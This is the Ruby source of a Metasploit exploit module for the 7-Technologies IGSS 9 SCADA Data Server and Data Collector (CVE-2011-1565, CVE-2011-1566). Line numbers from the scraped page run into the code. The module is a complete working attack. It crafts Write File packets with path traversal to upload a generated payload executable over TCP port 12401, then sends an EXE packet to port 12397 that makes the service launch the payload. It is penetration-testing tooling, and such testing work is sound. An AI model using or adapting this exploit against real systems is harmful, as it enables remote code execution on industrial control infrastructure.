Path: blob/master/modules/exploits/windows/scada/igss9_misc.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",16'Description' => %q{17This module exploits multiple vulnerabilities found on IGSS 9's Data Server and18Data Collector services. The initial approach is first by transferring our binary19with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send20an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run21that payload with a CreateProcessA() function as a new thread.22},23'License' => MSF_LICENSE,24'Author' => [25'Luigi Auriemma', # Initial discovery, poc26'sinn3r', # Metasploit27],28'References' => [29[ 'CVE', '2011-1565'],30[ 'CVE', '2011-1566'],31[ 'OSVDB', '72354'],32[ 'OSVDB', '72349'],33[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], # Write File packet flaw34[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], # EXE packet flaw35[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']36],37'DefaultOptions' => {38'EXITFUNC' => "none",39},40'Platform' => 'win',41'Targets' => [42# Service packs do not have any influence on the exploit43[ 'Windows XP', {} ],44[ 'Windows 7', {} ],45[ 'Windows Server 2003 / R2', {} ],46],47'Privileged' => false,48'DisclosureDate' => '2011-03-24',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RPORT(0, false),60]61)62end6364def write_packets(data)65pkts = []6667# Payload will be in C:\Documents and Settings\All Users\Application Data\7T\68tmp = rand_text_alpha(1)69filename = "#{tmp}.exe"7071data_size = data.length72730.step(data_size, 870) do |s|74# Each packet only contains 870 bytes of data75chunk = data[s, 870]7677# Data size of this packet78chunk_size = [chunk.length].pack('v')7980# Flag is set if this is our last chunk81# Flag 0x01 will cause the server to close the connection82flag = (chunk.length >= 870) ? "\x00" : "\x01"8384pkt = "\x01\x00\x34\x12"85pkt << "\x0D" # Opcode86pkt << "\x00" * 787pkt << flag # Flag88pkt << "\x00\x00\x00"89pkt << "\x02" # Command (Write File)90pkt << "\x00\x00\x00"91pkt << "../../../../#{filename}" # Filename92pkt << "\x00" * 7393pkt << "\x3E\x01\x01\x02"94pkt << "\x00\x10"95pkt << "\x00\x00"96pkt << "\x78\x01\x08\x04"97pkt << "\x78\x01\x08\x04"98pkt << "\x00" * 2299pkt << chunk_size # Data size100pkt << "\x00\x00"101pkt << chunk # Data chunk102103# Add the total packet size to the header104pkt_size = [pkt.length + 2].pack('v')105pkt = pkt_size + pkt106107# Put this packet to the array108pkts << pkt109end110111return filename, pkts112end113114def exe_packet(filename)115# Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS116# We'll just traverse our way back to C:\ as base117base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"118119pkt = "\x00\x01"120pkt << "\x00\x00\x00\x00\x00\x00\x00"121pkt << "\x01"122pkt << "\x00\x00"123pkt << "\x0A"124pkt << "\x00" * 31125pkt << "#{base}#{filename}\""126pkt << "\x00" * 163 # only for 1 caracter + .exe (i.exe for example)127128return pkt129end130131def exploit132# Generate payload and our Write packets133print_status("Generating payload...")134p = generate_payload_exe135fname, w_packets = write_packets(p)136w_packets_count = w_packets.length.to_s137print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")138139# Generate our EXE packet140e_packet = exe_packet(fname)141142# Create socket to igssdataserver.exe (12401)143connect(true, { 'RPORT' => 12401 })144145# Count how many packets we've sent to track progress146counter = 1147148# Send Write packets149print_status("Sending Write packets...")150151w_packets.each do |packet|152vprint_status("Sending packet #{counter}/#{w_packets_count}")153counter += 1154sock.put(packet)155res = sock.get_once() # Wait before we do the next sock.put again156end157158# After the 0x01 flag is set, our connection will be closed by the server.159disconnect160161# Now to port 12397 (nc.exe)162connect(true, { 'RPORT' => 12397 })163164print_status("Attempt to execute our payload...")165sock.put(e_packet)166167# We must delay disconnect() for a bit, otherwise dc.exe won't call168# kernel32!CreateProcessA169select(nil, nil, nil, 1)170disconnect171end172end173174175